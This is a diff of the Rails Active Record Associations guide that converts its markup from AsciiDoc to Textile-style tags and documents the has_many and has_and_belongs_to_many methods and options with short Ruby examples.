-The +:through+ option specifies a join model through which to perform the query. +has_one :through+ associations are discussed in detail later in this guide.
+The +:through+ option specifies a join model through which to perform the query. +has_one :through+ associations were discussed in detail <a href="#the-has-one-through-association">earlier in this guide</a>.
-===== +:validate+
+h6. +:validate+
If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved.
-==== When are Objects Saved?
+h5. How To Know Whether There's an Associated Object?
+
+To know whether there's and associated object just check <tt><em>association</em>.nil?</tt>:
+
+<ruby>
+if @supplier.account.nil?
+ @msg = "No account found for this supplier"
+end
+</ruby>
+
+h5. When are Objects Saved?
When you assign an object to a +has_one+ association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.
If either of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled.
-If the parent object (the one declaring the +has_one+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved.
+If the parent object (the one declaring the +has_one+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved. They will automatically when the parent object is saved.
-If you want to assign an object to a +has_one+ association without saving the object, use the +association.build+ method.
+If you want to assign an object to a +has_one+ association without saving the object, use the <tt><em>association</em>.build</tt> method.
-=== The has_many Association
+h4. +has_many+ Association Reference
The +has_many+ association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.
-==== Methods Added
+h5. Methods Added
When you declare a +has_many+ association, the declaring class automatically gains 13 methods related to the association:
-* +_collection_(force_reload = false)+
-* +_collection_<<(object, ...)+
-* +_collection_.delete(object, ...)+
-* +_collection_=objects+
-* +_collection\_singular_\_ids+
-* +_collection\_singular_\_ids=ids+
-* +_collection_.clear+
-* +_collection_.empty?+
-* +_collection_.size+
-* +_collection_.find(...)+
-* +_collection_.exist?(...)+
-* +_collection_.build(attributes = {}, ...)+
-* +_collection_.create(attributes = {})+
-
-In all of these methods, +_collection_+ is replaced with the symbol passed as the first argument to +has_many+, and +_collection\_singular_+ is replaced with the singularized version of that symbol.. For example, given the declaration:
-
-[source, ruby]
--------------------------------------------------------
+* <tt><em>collection</em>(force_reload = false)</tt>
+* <tt><em>collection</em><<(object, ...)</tt>
+* <tt><em>collection</em>.delete(object, ...)</tt>
+* <tt><em>collection</em>=objects</tt>
+* <tt><em>collection_singular</em>_ids</tt>
+* <tt><em>collection_singular</em>_ids=ids</tt>
+* <tt><em>collection</em>.clear</tt>
+* <tt><em>collection</em>.empty?</tt>
+* <tt><em>collection</em>.size</tt>
+* <tt><em>collection</em>.find(...)</tt>
+* <tt><em>collection</em>.exist?(...)</tt>
+* <tt><em>collection</em>.build(attributes = {}, ...)</tt>
+* <tt><em>collection</em>.create(attributes = {})</tt>
+
+In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to +has_many+, and <tt><em>collection_singular</em></tt> is replaced with the singularized version of that symbol.. For example, given the declaration:
+
+<ruby>
class Customer < ActiveRecord::Base
has_many :orders
end
--------------------------------------------------------
+</ruby>
Each instance of the customer model will have these methods:
-[source, ruby]
--------------------------------------------------------
+<ruby>
orders(force_reload = false)
orders<<(object, ...)
orders.delete(object, ...)
@@ -1064,125 +1024,117 @@ orders.find(...)
orders.exist?(...)
orders.build(attributes = {}, ...)
orders.create(attributes = {})
--------------------------------------------------------
+</ruby>
-===== +_collection_(force_reload = false)+
+h6. <tt><em>collection</em>(force_reload = false)</tt>
-The +_collection_+ method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
-[source, ruby]
--------------------------------------------------------
+<ruby>
@orders = @customer.orders
--------------------------------------------------------
+</ruby>
-===== +_collection_<<(object, ...)+
+h6. <tt><em>collection</em><<(object, ...)</tt>
-The +_collection_<<+ method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.
+The <tt><em>collection</em><<</tt> method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.
-[source, ruby]
--------------------------------------------------------
+<ruby>
@customer.orders << @order1
--------------------------------------------------------
+</ruby>
-===== +_collection_.delete(object, ...)+
+h6. <tt><em>collection</em>.delete(object, ...)</tt>
-The +_collection_.delete+ method removes one or more objects from the collection by setting their foreign keys to +NULL+.
+The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by setting their foreign keys to +NULL+.
-[source, ruby]
--------------------------------------------------------
+<ruby>
@customer.orders.delete(@order1)
--------------------------------------------------------
+</ruby>
WARNING: Objects will be in addition destroyed if they're associated with +:dependent => :destroy+, and deleted if they're associated with +:dependent => :delete_all+.
-===== +_collection_=objects+
+h6. <tt><em>collection</em>=objects</tt>
-The +_collection_=+ method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
+The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
-===== +_collection\_singular_\_ids+
+h6. <tt><em>collection_singular</em>_ids</tt>
-The +_collection\_singular_\_ids+ method returns an array of the ids of the objects in the collection.
+The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.
-[source, ruby]
--------------------------------------------------------
+<ruby>
@order_ids = @customer.order_ids
--------------------------------------------------------
+</ruby>
-===== +__collection\_singular_\_ids=ids+
+h6. <tt><em>collection_singular</em>_ids=ids</tt>
-The +__collection\_singular_\_ids=+ method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
+The <tt><em>collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
-===== +_collection_.clear+
+h6. <tt><em>collection</em>.clear</tt>
-The +_collection_.clear+ method removes every object from the collection. This destroys the associated objects if they are associated with +:dependent => :destroy+, deletes them directly from the database if +:dependent => :delete_all+, and otherwise sets their foreign keys to +NULL+.
+The <tt><em>collection</em>.clear</tt> method removes every object from the collection. This destroys the associated objects if they are associated with +:dependent => :destroy+, deletes them directly from the database if +:dependent => :delete_all+, and otherwise sets their foreign keys to +NULL+.
-===== +_collection_.empty?+
+h6. <tt><em>collection</em>.empty?</tt>
-The +_collection_.empty?+ method returns +true+ if the collection does not contain any associated objects.
+The <tt><em>collection</em>.empty?</tt> method returns +true+ if the collection does not contain any associated objects.
-[source, ruby]
--------------------------------------------------------
+<ruby>
<% if @customer.orders.empty? %>
No Orders Found
<% end %>
--------------------------------------------------------
+</ruby>
-===== +_collection_.size+
+h6. <tt><em>collection</em>.size</tt>
-The +_collection_.size+ method returns the number of objects in the collection.
+The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.
-[source, ruby]
--------------------------------------------------------
+<ruby>
@order_count = @customer.orders.size
--------------------------------------------------------
+</ruby>
-===== +_collection_.find(...)+
+h6. <tt><em>collection</em>.find(...)</tt>
-The +_collection_.find+ method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+.
+The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+.
-[source, ruby]
--------------------------------------------------------
+<ruby>
@open_orders = @customer.orders.find(:all, :conditions => "open = 1")
--------------------------------------------------------
+</ruby>
-===== +_collection_.exist?(...)+
+h6. <tt><em>collection</em>.exist?(...)</tt>
-The +_collection_.exist?+ method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
+The <tt><em>collection</em>.exist?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
-===== +_collection_.build(attributes = {}, ...)+
+h6. <tt><em>collection</em>.build(attributes = {}, ...)</tt>
-The +_collection_.build+ method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved.
+The <tt><em>collection</em>.build</tt> method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved.
-[source, ruby]
--------------------------------------------------------
-@order = @customer.orders.build({:order_date => Time.now, :order_number => "A12345"})
--------------------------------------------------------
+<ruby>
+@order = @customer.orders.build(:order_date => Time.now,
+ :order_number => "A12345")
+</ruby>
-===== +_collection_.create(attributes = {})+
+h6. <tt><em>collection</em>.create(attributes = {})</tt>
-The +_collection_.create+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object _will_ be saved (assuming that it passes any validations).
+The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object _will_ be saved (assuming that it passes any validations).
-[source, ruby]
--------------------------------------------------------
-@order = @customer.orders.create({:order_date => Time.now, :order_number => "A12345"})
--------------------------------------------------------
+<ruby>
+@order = @customer.orders.create(:order_date => Time.now,
+ :order_number => "A12345")
+</ruby>
-==== Options for has_many
+h5. Options for +has_many+
In many situations, you can use the default behavior for +has_many+ without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_many+ association. For example, an association with several options might look like this:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Customer < ActiveRecord::Base
has_many :orders, :dependent => :delete_all, :validate => :false
end
--------------------------------------------------------
+</ruby>
The +has_many+ association supports these options:
-// * +:accessible+
* +:as+
+* +:autosave+
* +:class_name+
* +:conditions+
* +:counter_sql+
@@ -1204,186 +1156,184 @@ The +has_many+ association supports these options:
* +:uniq+
* +:validate+
-// ===== +:accessible+
-//
-// The +:accessible+ option is the association version of +ActiveRecord::Base#attr_accessible+. If you set the +:accessible+ option to true, then mass // assignment is allowed for this association.
-//
-===== +:as+
+h6. +:as+
+
+Setting the +:as+ option indicates that this is a polymorphic association, as discussed <a href="#polymorphic-associations">earlier in this guide</a>.
-Setting the +:as+ option indicates that this is a polymorphic association, as discussed earlier in this guide.
+h6. +:autosave+
-===== +:class_name+
+If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+h6. +:class_name+
If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is +Transaction+, you'd set things up this way:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Customer < ActiveRecord::Base
has_many :orders, :class_name => "Transaction"
end
--------------------------------------------------------
+</ruby>
-===== +:conditions+
+h6. +:conditions+
The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause).
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Customer < ActiveRecord::Base
- has_many :confirmed_orders, :class_name => "Order", :conditions => "confirmed = 1"
+ has_many :confirmed_orders, :class_name => "Order",
+ :conditions => "confirmed = 1"
end
--------------------------------------------------------
+</ruby>
You can also set conditions via a hash:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Customer < ActiveRecord::Base
- has_many :confirmed_orders, :class_name => "Order", :conditions => { :confirmed => true }
+ has_many :confirmed_orders, :class_name => "Order",
+ :conditions => { :confirmed => true }
end
--------------------------------------------------------
+</ruby>
If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@customer.confirmed_orders.create+ or +@customer.confirmed_orders.build+ will create orders where the confirmed column has the value +true+.
-===== +:counter_sql+
+h6. +:counter_sql+
-Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself.
+Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself.
NOTE: If you specify +:finder_sql+ but not +:counter_sql+, then the counter SQL will be generated by substituting +SELECT COUNT(*) FROM+ for the +SELECT ... FROM+ clause of your +:finder_sql+ statement.
-===== +:dependent+
+h6. +:dependent+
-If you set the +:dependent+ option to +:destroy+, then deleting this object will call the destroy method on the associated objects to delete those objects. If you set the +:dependent+ option to +:delete_all+, then deleting this object will delete the associated objects _without_ calling their +destroy+ method. If you set the +:dependent+ option to +:nullify+, then deleting this object will set the foreign key in the associated objects to +NULL+.
+If you set the +:dependent+ option to +:destroy+, then deleting this object will call the +destroy+ method on the associated objects to delete those objects. If you set the +:dependent+ option to +:delete_all+, then deleting this object will delete the associated objects _without_ calling their +destroy+ method. If you set the +:dependent+ option to +:nullify+, then deleting this object will set the foreign key in the associated objects to +NULL+.
NOTE: This option is ignored when you use the +:through+ option on the association.
-===== +:extend+
+h6. +:extend+
-The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.
+The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
-===== +:finder_sql+
+h6. +:finder_sql+
Normally Rails automatically generates the proper SQL to fetch the association members. With the +:finder_sql+ option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.
-===== +:foreign_key+
+h6. +:foreign_key+
By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Customer < ActiveRecord::Base
has_many :orders, :foreign_key => "cust_id"
end
--------------------------------------------------------
+</ruby>
TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
-===== +:group+
+h6. +:group+
The +:group+ option supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL.
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Customer < ActiveRecord::Base
has_many :line_items, :through => :orders, :group => "orders.id"
end
--------------------------------------------------------
+</ruby>
-===== +:include+
+h6. +:include+
-You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Customer < ActiveRecord::Base
has_many :orders
end
+
class Order < ActiveRecord::Base
belongs_to :customer
has_many :line_items
end
+
class LineItem < ActiveRecord::Base
belongs_to :order
end
--------------------------------------------------------
+</ruby>
If you frequently retrieve line items directly from customers (+@customer.orders.line_items+), then you can make your code somewhat more efficient by including line items in the association from customers to orders:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Customer < ActiveRecord::Base
has_many :orders, :include => :line_items
end
+
class Order < ActiveRecord::Base
belongs_to :customer
has_many :line_items
end
+
class LineItem < ActiveRecord::Base
belongs_to :order
end
--------------------------------------------------------
+</ruby>
-===== +:limit+
+h6. +:limit+
The +:limit+ option lets you restrict the total number of objects that will be fetched through an association.
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Customer < ActiveRecord::Base
- has_many :recent_orders, :class_name => "Order", :order => "order_date DESC", :limit => 100
+ has_many :recent_orders, :class_name => "Order",
+ :order => "order_date DESC", :limit => 100
end
--------------------------------------------------------
+</ruby>
-===== +:offset+
+h6. +:offset+
The +:offset+ option lets you specify the starting offset for fetching objects via an association. For example, if you set +:offset => 11+, it will skip the first 11 records.
-===== +:order+
+h6. +:order+
The +:order+ option dictates the order in which associated objects will be received (in the syntax used by a SQL +ORDER BY+ clause).
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Customer < ActiveRecord::Base
has_many :orders, :order => "date_confirmed DESC"
end
--------------------------------------------------------
+</ruby>
-===== +:primary_key+
+h6. +:primary_key+
-By convention, Rails guesses that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
+By convention, Rails guesses that the column used to hold the primary key of the association is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
-===== +:readonly+
+h6. +:readonly+
If you set the +:readonly+ option to +true+, then the associated objects will be read-only when retrieved via the association.
-===== +:select+
+h6. +:select+
The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
WARNING: If you specify your own +:select+, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.
-===== +:source+
+h6. +:source+
The +:source+ option specifies the source association name for a +has_many :through+ association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.
-===== +:source_type+
+h6. +:source_type+
The +:source_type+ option specifies the source association type for a +has_many :through+ association that proceeds through a polymorphic association.
-===== +:through+
+h6. +:through+
-The +:through+ option specifies a join model through which to perform the query. +has_many :through+ associations provide a way to implement many-to-many relationships, as discussed earlier in this guide.
+The +:through+ option specifies a join model through which to perform the query. +has_many :through+ associations provide a way to implement many-to-many relationships, as discussed <a href="#the-has-many-through-association">earlier in this guide</a>.
-===== +:uniq+
+h6. +:uniq+
Specify the +:uniq => true+ option to remove duplicates from the collection. This is most useful in conjunction with the +:through+ option.
-===== +:validate+
+h6. +:validate+
If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved.
-==== When are Objects Saved?
+h5. When are Objects Saved?
When you assign an object to a +has_many+ association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.
@@ -1391,43 +1341,41 @@ If any of these saves fails due to validation errors, then the assignment statem
If the parent object (the one declaring the +has_many+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
-If you want to assign an object to a +has_many+ association without saving the object, use the +_collection_.build+ method.
+If you want to assign an object to a +has_many+ association without saving the object, use the <tt><em>collection</em>.build</tt> method.
-=== The +has_and_belongs_to_many+ Association
+h4. +has_and_belongs_to_many+ Association Reference
The +has_and_belongs_to_many+ association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.
-==== Methods Added
+h5. Methods Added
When you declare a +has_and_belongs_to_many+ association, the declaring class automatically gains 13 methods related to the association:
-* +_collection_(force_reload = false)+
-* +_collection_<<(object, ...)+
-* +_collection_.delete(object, ...)+
-* +_collection_=objects+
-* +_collection\_singular_\_ids+
-* +_collection\_singular_\_ids=ids+
-* +_collection_.clear+
-* +_collection_.empty?+
-* +_collection_.size+
-* +_collection_.find(...)+
-* +_collection_.exist?(...)+
-* +_collection_.build(attributes = {})+
-* +_collection_.create(attributes = {})+
-
-In all of these methods, +_collection_+ is replaced with the symbol passed as the first argument to +has_many+, and +_collection_\_singular+ is replaced with the singularized version of that symbol.. For example, given the declaration:
-
-[source, ruby]
--------------------------------------------------------
+* <tt><em>collection</em>(force_reload = false)</tt>
+* <tt><em>collection</em><<(object, ...)</tt>
+* <tt><em>collection</em>.delete(object, ...)</tt>
+* <tt><em>collection</em>=objects</tt>
+* <tt><em>collection_singular</em>_ids</tt>
+* <tt><em>collection_singular</em>_ids=ids</tt>
+* <tt><em>collection</em>.clear</tt>
+* <tt><em>collection</em>.empty?</tt>
+* <tt><em>collection</em>.size</tt>
+* <tt><em>collection</em>.find(...)</tt>
+* <tt><em>collection</em>.exist?(...)</tt>
+* <tt><em>collection</em>.build(attributes = {})</tt>
+* <tt><em>collection</em>.create(attributes = {})</tt>
+
+In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to +has_and_belongs_to_many+, and <tt><em>collection_singular</em></tt> is replaced with the singularized version of that symbol.. For example, given the declaration:
+
+<ruby>
class Part < ActiveRecord::Base
has_and_belongs_to_many :assemblies
end
--------------------------------------------------------
+</ruby>
Each instance of the part model will have these methods:
-[source, ruby]
--------------------------------------------------------
+<ruby>
assemblies(force_reload = false)
assemblies<<(object, ...)
assemblies.delete(object, ...)
@@ -1441,133 +1389,125 @@ assemblies.find(...)
assemblies.exist?(...)
assemblies.build(attributes = {}, ...)
assemblies.create(attributes = {})
--------------------------------------------------------
+</ruby>
-===== Additional Column Methods
+h6. Additional Column Methods
If the join table for a +has_and_belongs_to_many+ association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.
WARNING: The use of extra attributes on the join table in a +has_and_belongs_to_many+ association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a +has_many :through+ association instead of +has_and_belongs_to_many+.
-===== +_collection_(force_reload = false)+
+h6. <tt><em>collection</em>(force_reload = false)</tt>
-The +_collection_+ method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
-[source, ruby]
--------------------------------------------------------
+<ruby>
@assemblies = @part.assemblies
--------------------------------------------------------
+</ruby>
-===== +_collection_<<(object, ...)+
+h6. <tt><em>collection</em><<(object, ...)</tt>
-The +_collection_<<+ method adds one or more objects to the collection by creating records in the join table.
+The <tt><em>collection</em><<</tt> method adds one or more objects to the collection by creating records in the join table.
-[source, ruby]
--------------------------------------------------------
+<ruby>
@part.assemblies << @assembly1
--------------------------------------------------------
+</ruby>
-NOTE: This method is aliased as +_collection_.concat+ and +_collection_.push+.
+NOTE: This method is aliased as <tt><em>collection</em>.concat</tt> and <tt><em>collection</em>.push</tt>.
-===== +_collection_.delete(object, ...)+
+h6. <tt><em>collection</em>.delete(object, ...)</tt>
-The +_collection_.delete+ method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.
+The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.
-[source, ruby]
--------------------------------------------------------
+<ruby>
@part.assemblies.delete(@assembly1)
--------------------------------------------------------
+</ruby>
-===== +_collection_=objects+
+h6. <tt><em>collection</em>=objects</tt>
-The +_collection_=+ method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
+The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
-===== +_collection\_singular_\_ids+
+h6. <tt><em>collection_singular</em>_ids</tt>
-# Returns an array of the associated objects' ids
+The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.
-The +_collection\_singular_\_ids+ method returns an array of the ids of the objects in the collection.
-
-[source, ruby]
--------------------------------------------------------
+<ruby>
@assembly_ids = @part.assembly_ids
--------------------------------------------------------
+</ruby>
-===== +_collection\_singular_\_ids=ids+
+h6. <tt><em>collection_singular</em>_ids=ids</tt>
-The +_collection\_singular_\_ids=+ method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
+The <tt><em>collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
-===== +_collection_.clear+
+h6. <tt><em>collection</em>.clear</tt>
-The +_collection_.clear+ method removes every object from the collection by deleting the rows from the joining tableassociation. This does not destroy the associated objects.
+The <tt><em>collection</em>.clear</tt> method removes every object from the collection by deleting the rows from the joining table. This does not destroy the associated objects.
-===== +_collection_.empty?+
+h6. <tt><em>collection</em>.empty?</tt>
-The +_collection_.empty?+ method returns +true+ if the collection does not contain any associated objects.
+The <tt><em>collection</em>.empty?</tt> method returns +true+ if the collection does not contain any associated objects.
-[source, ruby]
--------------------------------------------------------
+<ruby>
<% if @part.assemblies.empty? %>
This part is not used in any assemblies
<% end %>
--------------------------------------------------------
+</ruby>
-===== +_collection_.size+
+h6. <tt><em>collection</em>.size</tt>
-The +_collection_.size+ method returns the number of objects in the collection.
+The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.
-[source, ruby]
--------------------------------------------------------
+<ruby>
@assembly_count = @part.assemblies.size
--------------------------------------------------------
+</ruby>
-===== +_collection_.find(...)+
+h6. <tt><em>collection</em>.find(...)</tt>
-The +_collection_.find+ method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+. It also adds the additional condition that the object must be in the collection.
+The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+. It also adds the additional condition that the object must be in the collection.
-[source, ruby]
--------------------------------------------------------
-@new_assemblies = @part.assemblies.find(:all, :conditions => ["created_at > ?", 2.days.ago])
--------------------------------------------------------
+<ruby>
+@new_assemblies = @part.assemblies.find(:all,
+ :conditions => ["created_at > ?", 2.days.ago])
+</ruby>
-===== +_collection_.exist?(...)+
+h6. <tt><em>collection</em>.exist?(...)</tt>
-The +_collection_.exist?+ method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
+The <tt><em>collection</em>.exist?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
-===== +_collection_.build(attributes = {})+
+h6. <tt><em>collection</em>.build(attributes = {})</tt>
-The +_collection_.build+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved.
+The <tt><em>collection</em>.build</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved.
-[source, ruby]
--------------------------------------------------------
-@assembly = @part.assemblies.build({:assembly_name => "Transmission housing"})
--------------------------------------------------------
+<ruby>
+@assembly = @part.assemblies.build(
+ {:assembly_name => "Transmission housing"})
+</ruby>
-===== +_collection_.create(attributes = {})+
+h6. <tt><em>collection</em>.create(attributes = {})</tt>
-The +_collection_.create+ method returns a new object of the associated type. This objects will be instantiated from the passed attributes, the link through the join table will be created, and the associated object _will_ be saved (assuming that it passes any validations).
+The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and the associated object _will_ be saved (assuming that it passes any validations).
-[source, ruby]
--------------------------------------------------------
-@assembly = @part.assemblies.create({:assembly_name => "Transmission housing"})
--------------------------------------------------------
+<ruby>
+@assembly = @part.assemblies.create(
+ {:assembly_name => "Transmission housing"})
+</ruby>
-==== Options for has_and_belongs_to_many
+h5. Options for +has_and_belongs_to_many+
-In many situations, you can use the default behavior for +has_and_belongs_to_many+ without any customization. But you can alter that behavior in a number of ways. This section cover the options that you can pass when you create a +has_and_belongs_to_many+ association. For example, an association with several options might look like this:
+In many situations, you can use the default behavior for +has_and_belongs_to_many+ without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_and_belongs_to_many+ association. For example, an association with several options might look like this:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Parts < ActiveRecord::Base
- has_and_belongs_to_many :assemblies, :uniq => true, :read_only => true
+ has_and_belongs_to_many :assemblies, :uniq => true,
+ :read_only => true
end
--------------------------------------------------------
+</ruby>
The +has_and_belongs_to_many+ association supports these options:
-// * +:accessible+
* +:association_foreign_key+
+* +:autosave+
* +:class_name+
* +:conditions+
* +:counter_sql+
@@ -1587,153 +1527,150 @@ The +has_and_belongs_to_many+ association supports these options:
* +:uniq+
* +:validate+
-// ===== +:accessible+
-//
-// The +:accessible+ option is the association version of +ActiveRecord::Base#attr_accessible+. If you set the +:accessible+ option to true, then mass // assignment is allowed for this association.
-//
-===== +:association_foreign_key+
+h6. +:association_foreign_key+
By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly:
TIP: The +:foreign_key+ and +:association_foreign_key+ options are useful when setting up a many-to-many self-join. For example:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class User < ActiveRecord::Base
- has_and_belongs_to_many :friends, :class_name => "User",
- :foreign_key => "this_user_id", :association_foreign_key => "other_user_id"
+ has_and_belongs_to_many :friends, :class_name => "User",
+ :foreign_key => "this_user_id",
+ :association_foreign_key => "other_user_id"
end
--------------------------------------------------------
+</ruby>
+
+h6. +:autosave+
+
+If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
-===== +:class_name+
+h6. +:class_name+
If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is +Gadget+, you'd set things up this way:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Parts < ActiveRecord::Base
has_and_belongs_to_many :assemblies, :class_name => "Gadget"
end
--------------------------------------------------------
+</ruby>
-===== +:conditions+
+h6. +:conditions+
The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause).
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Parts < ActiveRecord::Base
- has_and_belongs_to_many :assemblies, :conditions => "factory = 'Seattle'"
+ has_and_belongs_to_many :assemblies,
+ :conditions => "factory = 'Seattle'"
end
--------------------------------------------------------
+</ruby>
You can also set conditions via a hash:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Parts < ActiveRecord::Base
- has_and_belongs_to_many :assemblies, :conditions => { :factory => 'Seattle' }
+ has_and_belongs_to_many :assemblies,
+ :conditions => { :factory => 'Seattle' }
end
--------------------------------------------------------
+</ruby>
-If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@parts.assemblies.create+ or +@parts.assemblies.build+ will create orders where the factory column has the value "Seattle".
+If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@parts.assemblies.create+ or +@parts.assemblies.build+ will create orders where the +factory+ column has the value "Seattle".
-===== +:counter_sql+
+h6. +:counter_sql+
-Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself.
+Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself.
NOTE: If you specify +:finder_sql+ but not +:counter_sql+, then the counter SQL will be generated by substituting +SELECT COUNT(*) FROM+ for the +SELECT ... FROM+ clause of your +:finder_sql+ statement.
-===== +:delete_sql+
+h6. +:delete_sql+
Normally Rails automatically generates the proper SQL to remove links between the associated classes. With the +:delete_sql+ option, you can specify a complete SQL statement to delete them yourself.
-===== +:extend+
+h6. +:extend+
-The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.
+The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
